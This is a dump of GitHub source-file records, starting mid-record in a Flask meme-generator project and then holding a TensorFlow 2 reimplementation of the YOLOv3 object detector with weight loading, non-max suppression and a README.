75, "num_lines": 101, "path": "/memes/utils.py", "repo_name": "motishaku/Simple-Meme-Generator", "src_encoding": "UTF-8", "text": "from PIL import Image\r\nfrom PIL import ImageFont\r\nfrom PIL import ImageDraw\r\nimport base64\r\nfrom io import BytesIO\r\n\r\n\r\ndef draw_text(msg, pos, draw, img):\r\n base_font_size = 56\r\n lines = []\r\n\r\n font = ImageFont.truetype(\"impact.ttf\", base_font_size)\r\n w, h = draw.textsize(msg, font)\r\n\r\n imgWidthWithPadding = img.width * 0.99\r\n\r\n lineCount = 1\r\n if(w > imgWidthWithPadding):\r\n lineCount = int(round((w / imgWidthWithPadding) + 1))\r\n\r\n if lineCount > 2:\r\n while 1:\r\n base_font_size -= 2\r\n font = ImageFont.truetype(\"impact.ttf\", base_font_size)\r\n w, h = draw.textsize(msg, font)\r\n lineCount = int(round((w / imgWidthWithPadding) + 1))\r\n if lineCount < 3 or base_font_size < 10:\r\n break\r\n lastCut = 0\r\n isLast = False\r\n for i in range(0, lineCount):\r\n if lastCut == 0:\r\n cut = (len(msg) / lineCount) * i\r\n else:\r\n cut = lastCut\r\n\r\n if i < lineCount-1:\r\n nextCut = (len(msg) / lineCount) * (i+1)\r\n else:\r\n nextCut = len(msg)\r\n isLast = True\r\n\r\n if nextCut == len(msg) or msg[int(nextCut)] == \" \":\r\n pass\r\n else:\r\n try:\r\n while msg[int(nextCut)] != \" \":\r\n nextCut += 1\r\n except (TypeError, IndexError) as e:\r\n pass\r\n\r\n line = msg[int(cut):int(nextCut)].strip()\r\n\r\n w, h = draw.textsize(line, font)\r\n if not isLast and w > imgWidthWithPadding:\r\n nextCut -= 1\r\n try:\r\n while msg[nextCut] != \" \":\r\n nextCut -= 1\r\n except (TypeError, IndexError) as e:\r\n pass\r\n\r\n lastCut = nextCut\r\n lines.append(msg[int(cut):int(nextCut)].strip())\r\n\r\n lastY = -h\r\n if pos == \"bottom\":\r\n lastY = img.height - h * (lineCount+1) - 10\r\n\r\n for i in range(0, lineCount):\r\n w, h = draw.textsize(lines[i], font)\r\n textX = img.width/2 - w/2\r\n\r\n textY = lastY + h\r\n try:\r\n draw.text((textX-2, textY-2), lines[i], (0, 0, 0), font=font)\r\n draw.text((textX+2, textY-2), lines[i], (0, 0, 0), font=font)\r\n draw.text((textX+2, textY+2), lines[i], (0, 0, 0), font=font)\r\n draw.text((textX-2, textY+2), lines[i], (0, 0, 0), font=font)\r\n draw.text((textX, textY), lines[i], (255, 255, 255), font=font)\r\n except:\r\n pass\r\n lastY = textY\r\n\r\n return\r\n\r\ndef make_meme(top, bottom, image_name):\r\n img = Image.open(image_name)\r\n draw = ImageDraw.Draw(img)\r\n\r\n draw_text(top.upper(), \"top\", draw, img)\r\n draw_text(bottom.upper(), \"bottom\", draw, img)\r\n\r\n buffer = BytesIO()\r\n try:\r\n img.save(buffer, format=\"JPEG\")\r\n except OSError:\r\n img = img.convert('RGB')\r\n img.save(buffer, format=\"JPEG\")\r\n img_str = base64.b64encode(buffer.getvalue())\r\n return img_str\r\n" }, { "alpha_fraction": 0.634529173374176, "alphanum_fraction": 0.6395739912986755, "avg_line_length": 42.599998474121094, "blob_id": "0205c88ad6ffdfe2b2392e6a20a0a19dab005189", "content_id": "6f76674493cb261bb45161b9ae478505dce31a84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1784, "license_type": "no_license", "max_line_length": 119, "num_lines": 40, "path": "/users/forms.py", "repo_name": "motishaku/Simple-Meme-Generator", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\r\nfrom wtforms import StringField, PasswordField, SubmitField, BooleanField\r\nfrom wtforms.validators import ValidationError, DataRequired, Length, Email, EqualTo\r\nfrom website.models import User\r\nimport re\r\nimport email_validator\r\n\r\n\r\nclass Registration(FlaskForm):\r\n username = StringField('Username', validators=[DataRequired(), Length(min=4, max=16)])\r\n email = StringField('Email', validators=[DataRequired(), Email()])\r\n password = PasswordField('Password', validators=[DataRequired()])\r\n confirm_password = PasswordField('Confirm Password', validators=[DataRequired(), EqualTo('password')])\r\n submit = SubmitField('Sign Up')\r\n\r\n def validate_username(self, username):\r\n user = User.query.filter_by(username=username.data).first()\r\n if user:\r\n raise ValidationError('This username is already taken.')\r\n\r\n def validate_email(self, email):\r\n user = User.query.filter_by(email=email.data).first()\r\n if user:\r\n raise ValidationError(\"Email is already taken by another user.\")\r\n\r\n def validate_password(self, password):\r\n reg = \"^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*#?&])[A-Za-z\\d@$!#%*?&]{8,50}$\"\r\n pat = re.compile(reg)\r\n mat = re.search(pat, password.data)\r\n if not mat:\r\n raise ValidationError('Password is Invalid, must contain at least 8 characters, 1 upper case, 1 lower case'\r\n ', a digit and a special character.')\r\n\r\n\r\nclass Login(FlaskForm):\r\n username = StringField('Username',\r\n validators=[DataRequired()])\r\n password = PasswordField('Password', validators=[DataRequired()])\r\n remember = BooleanField('Remember Me')\r\n submit = SubmitField('Login')\r\n" }, { "alpha_fraction": 0.7434343695640564, "alphanum_fraction": 0.7434343695640564, "avg_line_length": 47.5, "blob_id": "3f7cdc1c5f41334b732de0635b7ff8bddffb5bbe", "content_id": "236719820ca51bcf7903f28f4c060a62ff510fb3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 495, "license_type": "no_license", "max_line_length": 129, "num_lines": 10, "path": "/memes/forms.py", "repo_name": "motishaku/Simple-Meme-Generator", "src_encoding": "UTF-8", "text": "from flask_wtf import FlaskForm\r\nfrom flask_wtf.file import FileField, FileAllowed, FileRequired\r\nfrom wtforms import StringField, PasswordField, SubmitField, BooleanField\r\nfrom wtforms.validators import DataRequired\r\n\r\n\r\nclass Template(FlaskForm):\r\n image = FileField('Upload Template image: ', validators=[FileRequired(), FileAllowed(['png', 'jpg', 'jpeg'], 'Image Only.')])\r\n name = StringField('Template Name: ', validators=[DataRequired()])\r\n submit = SubmitField('Add Template')\r\n" } ]
7
camhodges101/yolov3Tensorflow2
https://github.com/camhodges101/yolov3Tensorflow2
250994553ffc83df6ea2b7da44f44229b6642bdb
87f601a2bad66b8b002d1789e3ffc244d6cc3b9e
cac22603c2c500ea8358f02170777152ce107652
refs/heads/master
2022-09-18T18:23:39.702910
2020-06-03T07:37:05
2020-06-03T07:37:05
237,719,320
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5996784567832947, "alphanum_fraction": 0.6509914398193359, "avg_line_length": 36.50251388549805, "blob_id": "e509ef5842476c278654e6d79c3a0ad97b22e34e", "content_id": "08ea5d74c197f5096cb6595f75553cda27fcbe53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7464, "license_type": "no_license", "max_line_length": 221, "num_lines": 199, "path": "/Graph.py", "repo_name": "camhodges101/yolov3Tensorflow2", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport tensorflow as tf\n\nfrom tensorflow.keras.layers import Dense, Flatten, Conv2D, LeakyReLU, Add, Concatenate, Input, Softmax\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.utils import plot_model\nimport numpy as np\n\ndef yolonet(InputPlaceholder):\n def upscale(input_tensor):\n inputShape=tf.shape(input_tensor)\n x = tf.image.resize(input_tensor,\n (inputShape[1]*2,inputShape[2]*2),\n method=tf.image.ResizeMethod.NEAREST_NEIGHBOR,\n preserve_aspect_ratio=False,\n antialias=False,\n name=None)\n return x\n\n class Conv_layer(tf.keras.Model):\n def __init__(self,filters,kernel_size,batchnorm,padding=\"SAME\", stride=(1,1)):\n super(Conv_layer, self).__init__(name='')\n self.batchnorm=batchnorm\n self.conv2a = tf.keras.layers.Conv2D(filters, kernel_size,stride,use_bias=not(batchnorm),padding=padding)\n self.strides=stride\n if (kernel_size==(3,3)):\n self.pads=1\n else:\n self.pads=0 \n\n self.bn2a = tf.keras.layers.BatchNormalization(momentum=0.9,epsilon=1e-5)\n\n self.activation=LeakyReLU(alpha=0.1)\n \n def call(self, input_tensor):\n if self.strides==(2,2):\n x=tf.pad(input_tensor,tf.constant([[0,0],[self.pads,self.pads],[self.pads,self.pads],[0,0]]),mode=\"CONSTANT\")\n \n else:\n x=input_tensor\n x = self.conv2a(x)\n \n if self.batchnorm:\n x = self.bn2a(x)\n\n x=self.activation(x)\n return x\n\n class residualblock(tf.keras.Model):\n def __init__(self,nb_filters,kernels):\n super(residualblock, self).__init__(name='')\n self.conv1=Conv_layer(nb_filters[0],kernels[0],batchnorm=True)\n self.conv2=Conv_layer(nb_filters[1],kernels[1],batchnorm=True)\n\n def call(self,input_tensor):\n x=self.conv1(input_tensor)\n x=self.conv2(x)\n x=x+input_tensor\n return x\n\n \n class residuallayer(tf.keras.Model):\n def __init__(self,nb_filters,kernels, nb_blocks):\n super(residuallayer, self).__init__(name='')\n self.nb_blocks=nb_blocks\n self.nb_filters=nb_filters\n self.kernels=kernels\n self.conv1=Conv_layer(self.nb_filters[1],kernel_size=(3,3),padding=\"VALID\",batchnorm=True,stride=(2,2))\n \n def call(self,input_tensor):\n \n x=self.conv1.call(input_tensor)\n \n for k in range(self.nb_blocks):\n x=residualblock(self.nb_filters,kernels=self.kernels).call(x)\n \n return x\n\n class darknet53(Model):\n def __init__(self):\n super(darknet53, self).__init__()\n self.conv1=Conv_layer(32,kernel_size=(3,3),batchnorm=True)\n self.resid1=residuallayer([32,64],[1,3],1)\n self.resid2=residuallayer([64,128],[1,3],2)\n self.resid3=residuallayer([128,256],[1,3],8)\n self.resid4=residuallayer([256,512],[1,3],8)\n self.resid5=residuallayer([512,1024],[1,3],4)\n\n def call(self,inputImage):\n \n x=self.conv1(inputImage)\n x1=self.resid1.call(x)\n x2=self.resid2.call(x1)\n x3=self.resid3.call(x2)\n x4=self.resid4.call(x3)\n x5=self.resid5.call(x4)\n return x3,x4,x5\n\n def darknet53function(testinput):\n x=Conv_layer(32,kernel_size=(3,3),batchnorm=True).call(testinput)\n x1=residuallayer([32,64],[1,3],1).call(x)\n x2=residuallayer([64,128],[1,3],2).call(x1)\n x3=residuallayer([128,256],[1,3],8).call(x2)\n x4=residuallayer([256,512],[1,3],8).call(x3)\n x5=residuallayer([512,1024],[1,3],4).call(x4)\n return x3,x4,x5 \n\n class lastLayers(Model):\n def __init__(self,nb_filters):\n super(lastLayers, self).__init__()\n self.nb_filters=nb_filters\n self.conv1=Conv_layer(self.nb_filters,kernel_size=(1,1),batchnorm=True)\n self.conv2=Conv_layer(self.nb_filters*2,kernel_size=(3,3),batchnorm=True)\n self.conv3=Conv_layer(self.nb_filters,kernel_size=(1,1),batchnorm=True)\n self.conv4=Conv_layer(self.nb_filters*2,kernel_size=(3,3),batchnorm=True)\n self.conv5=Conv_layer(self.nb_filters,kernel_size=(1,1),batchnorm=True)\n def call(self,inputImage):\n x=self.conv1.call(inputImage)\n x=self.conv2.call(x)\n x=self.conv3.call(x)\n x=self.conv4.call(x)\n x=self.conv5.call(x)\n return x\n\n\n class networkhead(Model):\n def __init__(self):\n pass\n def call(self, route1, route2, route3):\n super(networkhead, self).__init__()\n route=lastLayers(512).call(route3)\n bblBranch=Conv_layer(1024,(3,3),batchnorm=True).call(route)\n bblBranch=Conv_layer(255,(1,1),batchnorm=False).call(bblBranch)\n route=Conv_layer(256,(1,1),batchnorm=True).call(route)\n route=upscale(route)\n route=Concatenate(axis=-1)([route2,route])\n route=lastLayers(256).call(route)\n\n bbmBranch=Conv_layer(512,(3,3),batchnorm=True).call(route)\n bbmBranch=Conv_layer(255,(1,1),batchnorm=False).call(bbmBranch)\n route=Conv_layer(128,(1,1),batchnorm=True).call(route)\n route=upscale(route)\n route=Concatenate(axis=-1)([route1,route])\n\n route=lastLayers(128).call(route)\n\n bbsBranch=Conv_layer(256,(3,3),batchnorm=True).call(route)\n bbsBranch=Conv_layer(255,(1,1),batchnorm=False).call(bbsBranch)\n return bblBranch,bbmBranch,bbsBranch\n \n\n route1, route2, route3 = darknet53function(InputPlaceholder)\n\n bblBranch,bbmBranch,bbsBranch = networkhead().call(route1,route2,route3)\n return bblBranch,bbmBranch,bbsBranch\n \n\ndef finaldetectionlayer(bblBranch,bbmBranch,bbsBranch):\n def detectionlayer(Branch):\n '''\n This function takes raw layer outputs from the top of the CNN and applies final activation functions, reshapes to the expected grid format and applies absolute position offsets in pixels from the cell grid reference. \n \n This function once on each of a the outputs of the entire detection network, each of these outputs represent different scale detections. \n --Inputs: 4D Tensor shape [batchSize, GRID_W, GRID_H, 3 * (5 + Number of classes)]\n \n --Actions:\n \n --Outputs: 2D tensor shape [batchSize, GRID_W, GRID_H, 3 * (5 + Number of classes)]\n \n '''\n NUMCLASSES=80\n\n GRID_W, GRID_H = Branch.shape[1],Branch.shape[1]\n CELLSIZE=float(int(608/GRID_W))\n inputTensor=tf.reshape(Branch,[-1,GRID_W,GRID_H,3,5+NUMCLASSES])\n \n ANCHORS = np.array([[10,13], [16,30], [33,23], [30,61], [62,45], [59,119], [116,90], [156,198], [373,326]])\n anchRef=(GRID_H==19)*6+(GRID_H==38)*3+(GRID_H==76)*0\n\n ANCHORS=ANCHORS[anchRef:anchRef+3,:].reshape((1,1,1,3,2))\n\n cell_x = tf.dtypes.cast(tf.reshape(tf.tile(tf.range(GRID_W), [GRID_H]), (1, GRID_H, GRID_W, 1, 1)),tf.float32)\n cell_y = tf.transpose(cell_x, (0,2,1,3,4))\n\n gridRef=tf.tile(tf.concat((cell_x,cell_y),axis=-1),[1,1,1,3,1])\n \n xy=(tf.sigmoid(inputTensor[...,0:2])+gridRef)*CELLSIZE\n\n wh=tf.exp(inputTensor[...,2:4])*ANCHORS\n conf=tf.sigmoid(inputTensor[...,4:5])\n classProd=tf.sigmoid(inputTensor[...,5:])\n return tf.concat((xy,wh,conf,classProd),axis=-1)\n\n bblBranch=tf.reshape(detectionlayer(bblBranch),[-1,bblBranch.shape[1]*bblBranch.shape[2]*3,85])\n bbmBranch=tf.reshape(detectionlayer(bbmBranch),[-1,bbmBranch.shape[1]*bbmBranch.shape[2]*3,85])\n bbsBranch=tf.reshape(detectionlayer(bbsBranch),[-1,bbsBranch.shape[1]*bbsBranch.shape[2]*3,85])\n \n return tf.concat((bblBranch,bbmBranch,bbsBranch),axis=1)\n\n" }, { "alpha_fraction": 0.6971967220306396, "alphanum_fraction": 0.7150797247886658, "avg_line_length": 35.95535659790039, "blob_id": "2979bf3f64d39ad67ee5d3948c6b8549bef2536f", "content_id": "bdabcaee891ca2bfcfb82368b17c7edd6e2c7a27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4138, "license_type": "no_license", "max_line_length": 210, "num_lines": 112, "path": "/inference.py", "repo_name": "camhodges101/yolov3Tensorflow2", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import, division, print_function, unicode_literals\n\nimport tensorflow as tf\n\nfrom tensorflow.keras.layers import Dense, Flatten, Conv2D, LeakyReLU, Add, Concatenate, Input, Softmax\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.utils import plot_model\nimport numpy as np\nimport cv2\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nfrom model import yolonet, finaldetectionlayer\nfrom utils import nms, showboxes\nimport wget\n\nimport time\n'''\nThis first section loads our model graph and compiles the model.\n\nAlthough Tensorflow 2.0 supports eager execution that isn't helpful here so we use a compiled graph like tensorflow 1.0\n'''\n\nInputPlaceholder=Input(shape=[608,608,3])\n\nbbl,bbm,bbs=yolonet(InputPlaceholder)\n\nmodelout=(finaldetectionlayer(bbl,bbm,bbs))\n\nmymodel=Model(inputs=InputPlaceholder, outputs=modelout)\n\nmymodel.compile()\n\nclass WeightReader:\n def __init__(self, weight_file):\n self.offset = 5\n self.all_weights = np.fromfile(weight_file, dtype='float32')\n \n def read_bytes(self, size):\n self.offset = self.offset + size\n return self.all_weights[self.offset-size:self.offset]\n \n def reset(self):\n self.offset = 5\n'''\nAttempt to load the authors original weights file from the working directory, if not there then download from website. \n''' \ntry:\n path='yolov3.weights'\n weight_reader = WeightReader(path)\nexcept:\n\n wget(https://pjreddie.com/media/files/yolov3.weights) \n path='yolov3.weights'\n weight_reader = WeightReader(path)\n\nparameters=mymodel.variables\nmodelload={}\nif True:\n '''\n This step creates a python dict, the keys are the layer numbers and each key returns a list of tensors, this includes the conv tensor and 4 batch norm components (beta, gamma, moving_mean and moving_variance)\n '''\n for para in parameters:\n layerref=((para.name).split(\"/\")[0]).split(\"_\")[-1]\n if layerref == \"conv2d\" or layerref == \"normalization\":\n layerref=\"0\"\n if layerref not in modelload:\n modelload[layerref]=[]\n modelload[layerref]+=[para]\n\n for i in range(75):\n if i in [58,66,74]:\n #This section loads the weights for the final layers of each network branch, including bias values\n kernalshape=modelload[str(i)][0].shape\n Biassize=modelload[str(i)][1].shape\n Biasdata=weight_reader.read_bytes(Biassize[0])\n kernalshape=(kernalshape[3],kernalshape[2],kernalshape[1],kernalshape[0])\n\n kernaldata=weight_reader.read_bytes(np.product(kernalshape))\n # the darknet framework has a different order for its conv layers compared to tensorflow, darknet = [width,ch,height,batch] vs tensorflow= [batch, height, width, ch]\n modelload[str(i)][0].assign(np.transpose(kernaldata.reshape(kernalshape)),(2,3,1,0))\n modelload[str(i)][1].assign(Biasdata)\n\n else:\n #This section loads the weights for all layers except the final layers of each branch. \n kernalshape=modelload[str(i)][0].shape\n kernalshape=(kernalshape[3],kernalshape[2],kernalshape[0],kernalshape[1])\n BNsize=(modelload[str(i)][1].shape)[0]\n beta=weight_reader.read_bytes(BNsize)\n gamma=weight_reader.read_bytes(BNsize)\n \n moving_mean=weight_reader.read_bytes(BNsize)\n moving_variance=weight_reader.read_bytes(BNsize)\n kernaldata=weight_reader.read_bytes(np.product(kernalshape))\n # the darknet framework has a different order for its conv layers compared to tensorflow, darknet = [width,ch,height,batch] vs tensorflow= [batch, height, width, ch]\n modelload[str(i)][0].assign(np.transpose(kernaldata.reshape(kernalshape),(2,3,1,0)))\n modelload[str(i)][1].assign(gamma)\n modelload[str(i)][2].assign(beta)\n modelload[str(i)][3].assign(moving_mean)\n modelload[str(i)][4].assign(moving_variance)\n\n \n\n\n\n#Loads and runs inference on sample image person.jpg\nout = np.array(Image.open('person.jpg').resize((608,608)))\nti=time.time()\ndetections=mymodel.predict(np.expand_dims(out,0).astype(\"float32\"))\nresults=np.array(nms(detections))\n\nshowboxes(results[:,0],results[:,1],results[:,2],out)\nprint(time.time()-ti)" }, { "alpha_fraction": 0.7724137902259827, "alphanum_fraction": 0.7940886616706848, "avg_line_length": 77, "blob_id": "f0df2e2664efa91cb54c4de664aa5d2c4ec4576b", "content_id": "31836962fef54cd3da2c2007c9a9376b84f71254", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1015, "license_type": "no_license", "max_line_length": 300, "num_lines": 13, "path": "/README.md", "repo_name": "camhodges101/yolov3Tensorflow2", "src_encoding": "UTF-8", "text": "# yolov3\n\nThis is not my original model, I've taken the Yolov3 model found here (https://pjreddie.com/darknet/yolo/) and reimplimented it (including weights) to the Tensorflow 2.0 model. Theres plenty of examples similar of this on Github. \n\nThe purpose of this was to learn more about how the Yolo models work, get familar with the changes from TF 1.0 to TF 2.0 and create a baseline model for some transfer learning projects I'm working on.\n\nThe model is almost identical to the authors original model with the exception of the source image padding, the authors original model keeps the image aspect ratio the same and pads the image with zeros to achieve the 608 x 608 input size. In this implementation I just resize the image to 608 x 608.\nIn my limited experiments this seems to give better performance on very wide angle input images. \n\nTasks still to do \n\n1. create post processing step to resize images and detection boxes to original image size\n2. implement final training process for transfer learning\n " }, { "alpha_fraction": 0.5758835673332214, "alphanum_fraction": 0.6091476082801819, "avg_line_length": 28.869565963745117, "blob_id": "0d5f0c2cdbc6729cf40ab6f7ee555eee615e272b", "content_id": "c997ce1847b17bda3c203afe3fb81499666d7169", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4810, "license_type": "no_license", "max_line_length": 118, "num_lines": 161, "path": "/utils.py", "repo_name": "camhodges101/yolov3Tensorflow2", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 25 16:48:16 2020\n\n@author: cameron\n\"\"\"\n\n\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport tensorflow as tf\n\nfrom tensorflow.keras.layers import Dense, Flatten, Conv2D, LeakyReLU, Add, Concatenate, Input, Softmax\nfrom tensorflow.keras import Model\nfrom tensorflow.keras.utils import plot_model\nimport numpy as np\nimport cv2\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nfrom model import yolonet, finaldetectionlayer\n\n\n\n\ndef calc_iou_batch(pred_boxes, gt_box):\n '''\n This function takes a single ground truth or comparison box and compares to a list of predicted boxes. \n \n In the case of inference the GT box is the predicted box with the highest confidence. \n '''\n results=[]\n #switch input from xywh, to xmin,ymin, xmax,ymax\n gtx,gty,gtw,gth = gt_box\n x1_t, y1_t, x2_t, y2_t = gtx-0.5*gtw,gty-0.5*gth,gtx+0.5*gtw,gty+0.5*gth\n for box in pred_boxes:\n \n \n x,y,w,h = box\n \n x1_p, y1_p, x2_p, y2_p = x-0.5*w,y-0.5*h,x+0.5*w,y+0.5*h\n if (x1_p > x2_p) or (y1_p > y2_p):\n raise AssertionError(\n \"Prediction box is malformed? pred box: {}\".format(box))\n if (x1_t > x2_t) or (y1_t > y2_t):\n raise AssertionError(\n \"Ground Truth box is malformed? true box: {}\".format(gt_box))\n \n if (x2_t < x1_p or x2_p < x1_t or y2_t < y1_p or y2_p < y1_t):\n iou= 0.0\n else:\n far_x = np.min([x2_t, x2_p])\n near_x = np.max([x1_t, x1_p])\n far_y = np.min([y2_t, y2_p])\n near_y = np.max([y1_t, y1_p])\n \n inter_area = (far_x - near_x + 1) * (far_y - near_y + 1)\n true_box_area = (x2_t - x1_t + 1) * (y2_t - y1_t + 1)\n pred_box_area = (x2_p - x1_p + 1) * (y2_p - y1_p + 1)\n iou = inter_area / (true_box_area + pred_box_area - inter_area)\n results+=[iou]\n return results\n\n\n\ndef nms(detections,confthrs=0.5,iouthrs=0.4): \n '''\n This is a simple class based non max suppression function, \n \n This step removes multiple duplicate bounding box predictions from the same object\n \n In future this could be replaced by the NMS function from the tensorflow library if it proves to be more efficient. \n \n https://www.tensorflow.org/api_docs/python/tf/image/non_max_suppression\n '''\n \n bbox=detections[0,:,0:4]\n conf=detections[0,:,4]\n \n classconf=detections[0,:,5:]\n confmask=conf>confthrs\n bbox=bbox[np.nonzero(confmask)]\n conf=conf[np.nonzero(confmask)]\n classconf=classconf[np.nonzero(confmask)]\n bbox=bbox[(-conf).argsort()]\n classconf=classconf[(-conf).argsort()]\n conf=conf[(-conf).argsort()]\n count=0\n\n count=0\n results=[]\n uniqueclasses = list(set(np.argmax(classconf,axis=-1)))\n for class_ in uniqueclasses:\n\n \n clsmask=np.nonzero(np.argmax(classconf,axis=1)==class_)\n \n classdetection=conf[clsmask]\n classboxes=bbox[clsmask]\n classCls=classconf[clsmask]\n \n while len(classdetection)>0:\n \n spdetection=classdetection[0]\n\n spbbox=classboxes[0]\n\n spclass=np.argmax(classCls[0])\n results.append([spbbox,spdetection,spclass])\n \n ious = np.array(calc_iou_batch(classboxes[1:],spbbox))\n ioumask=np.nonzero(ious < iouthrs)\n tempclassdetection=classdetection[1:]\n tempclassboxes=classboxes[1:]\n tempclassCls=classCls[1:]\n classdetection=tempclassdetection[ioumask]\n classboxes=tempclassboxes[ioumask]\n classCls=tempclassCls[ioumask]\n\n return results\n\n\n\n\n\ndef showboxes(X,scores,classes,img):\n #img=np.array(Image.open(file).resize((608,608)))/255\n def drawconfidence(img,score,bb1,class_,colorcode):\n font = cv2.FONT_HERSHEY_SIMPLEX\n bottomLeftCornerOfText = (bb1[0],bb1[1]-2)\n fontScale = 0.75\n fontColor = colorcode\n lineType = 2\n text = str(int(score*100))+\"% \"+class_\n\n cv2.putText(img,text, \n bottomLeftCornerOfText, \n font, \n fontScale,\n fontColor,\n lineType)\n return img\n for box,score,class_ in zip(X,scores,classes):\n #print(box)\n colordict={'horse':(0,1,0),'dog':(1,0,0),'person':(0,0,1),'bus':(1,0,1)}\n classname=labeldict[str(class_)]\n try:\n colorcode= colordict[classname]\n except:\n colorcode=(0,1,0)\n xmin = int(box[0]-0.5*box[2])\n ymin = int(box[1]-0.5*box[3])\n xmax = int(box[0]+0.5*box[2])\n ymax = int(box[1]+0.5*box[3])\n img = cv2.rectangle(img, (xmin,ymin), (xmax,ymax), colorcode, 2)\n img = drawconfidence(img,score,(xmin,ymin),classname,colorcode)\n plt.imshow(img)\n plt.show()\n\n#results=np.array(results)\n\n" } ]
4
xyyanxin/doubanspiders
https://github.com/xyyanxin/doubanspiders
3f7ebe9074713800eddeb478373d7926e32c9f71
4bfc7ceeda1bbc0f377ab22d635df858d01b8a38
7cdd92eedeeec7850ff16a5c02bf280f3b32423a
refs/heads/master
2021-04-27T03:08:44.095182
2018-03-06T06:20:47
2018-03-06T06:20:47
122,709,229
0
0
null
2018-02-24T06:09:19
2018-02-24T05:14:06
2017-12-15T06:59:17
null
[ { "alpha_fraction": 0.591549277305603, "alphanum_fraction": 0.6760563254356384, "avg_line_length": 13.777777671813965, "blob_id": "5402239671cbadb6966ebafb6379ea40d78eaae2", "content_id": "896675adc6a05de5547caf0ae55dbc03b71e4a7b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 142, "license_type": "permissive", "max_line_length": 40, "num_lines": 9, "path": "/douban/movie/misc/store.py", "repo_name": "xyyanxin/doubanspiders", "src_encoding": "UTF-8", "text": "#encoding: utf-8\r\nimport pymongo\r\n\r\nHOST = \"127.0.0.1\"\r\nPORT = 27017\r\n\r\nclient = pymongo.MongoClient(HOST, PORT)\r\n\r\ndoubanDB = client.douban\r\n" }, { "alpha_fraction": 0.7209039330482483, "alphanum_fraction": 0.7435027956962585, "avg_line_length": 22.289474487304688, "blob_id": "78d23f24510fba2ad55866c79ecc0c7fa7d8d347", "content_id": "5c964f75a957cc8add7f3b81c310a3be2848ee25", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 901, "license_type": "permissive", "max_line_length": 58, "num_lines": 38, "path": "/douban/movie/settings.py", "repo_name": "xyyanxin/doubanspiders", "src_encoding": "UTF-8", "text": "#encoding: utf-8\n\nBOT_NAME = \"movie\"\n\nSPIDER_MODULES = [\"spiders\"]\nNEWSPIDER_MODULE = \"spiders\"\n\nITEM_PIPELINES = {\n \"pipelines.JsonWriterPipeline\" : 1,\n \"pipelines.MoviePipeline\": 3,\n}\n\nDOWNLOADER_MIDDLEWARES = {\n \"misc.middlewares.CustomUserAgentMiddleware\": 401,\n \"misc.middlewares.CustomCookieMiddleware\": 701,\n \"misc.middlewares.CustomHeadersMiddleware\": 551,\n #\"misc.middlewares.proxyMiddleware\": 201,\n}\n\n\n#广度优先\nDEPTH_PRIORITY = 1\nSCHEDULER_DISK_QUEUE = \"scrapy.squeue.PickleFifoDiskQueue\"\nSCHEDULER_MEMORY_QUEUE = \"scrapy.squeue.FifoMemoryQueue\"\n\n#布隆过滤\nDUPEFILTER_CLASS = \"misc.bloomfilter.BLOOMDupeFilter\"\n\nWEBSERVICE_ENABLED = False\nTELNETCONSOLE_ENABLED = False\n#LOG_LEVEL = \"INFO\"\nLOG_LEVEL = \"DEBUG\"\nLOG_STDOUT = False\n#LOG_FILE = \"/var/log/scrapy_douban_movie.log\"\n#RETRY_ENABLED = False\n#DOWNLOAD_TIMEOUT = 15\nDOWNLOAD_DELAY = 1.5\nCOOKIES_ENABLES=False\n" }, { "alpha_fraction": 0.611347496509552, "alphanum_fraction": 0.6127659678459167, "avg_line_length": 23.310344696044922, "blob_id": "caae710319519ecf2741cd0bfa62477f98c9d60b", "content_id": "570663578df021534a6e13a4901be2f4e27ecf66", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 705, "license_type": "permissive", "max_line_length": 70, "num_lines": 29, "path": "/douban/movie/pipelines.py", "repo_name": "xyyanxin/doubanspiders", "src_encoding": "UTF-8", "text": "#encoding: utf-8\nfrom misc.store import doubanDB\n\n\nimport json\n\nclass JsonWriterPipeline(object):\n\n def open_spider(self, spider):\n self.file = open('movie.jl', 'w+')\n\n def close_spider(self, spider):\n self.file.close()\n\n def process_item(self, item, spider):\n line = json.dumps(dict(item)) + \"\\n\"\n self.file.write(line)\n return item\n\n\nclass MoviePipeline(object):\n def process_item(self, item, spider):\n if spider.name != \"movie\": return item\n if item.get(\"subject_id\", None) is None: return item\n\n spec = { \"subject_id\": item[\"subject_id\"] }\n doubanDB.movie.update(spec, {'$set': dict(item)}, upsert=True)\n\n return None\n" } ]
3
Eli-Dolney/myFirstDatabase
https://github.com/Eli-Dolney/myFirstDatabase
9809bfd12fbd8b32d5958b19ac641f0c5c707186
d00f1471678c2e9d1e577d13a22b0eaf8dba47b1
0792838372088923682867981d2140e31e82671b
refs/heads/main
2023-07-19T13:00:14.589165
2021-09-10T01:59:34
2021-09-10T01:59:34
404,925,415
0
0
null
null
null
null
null
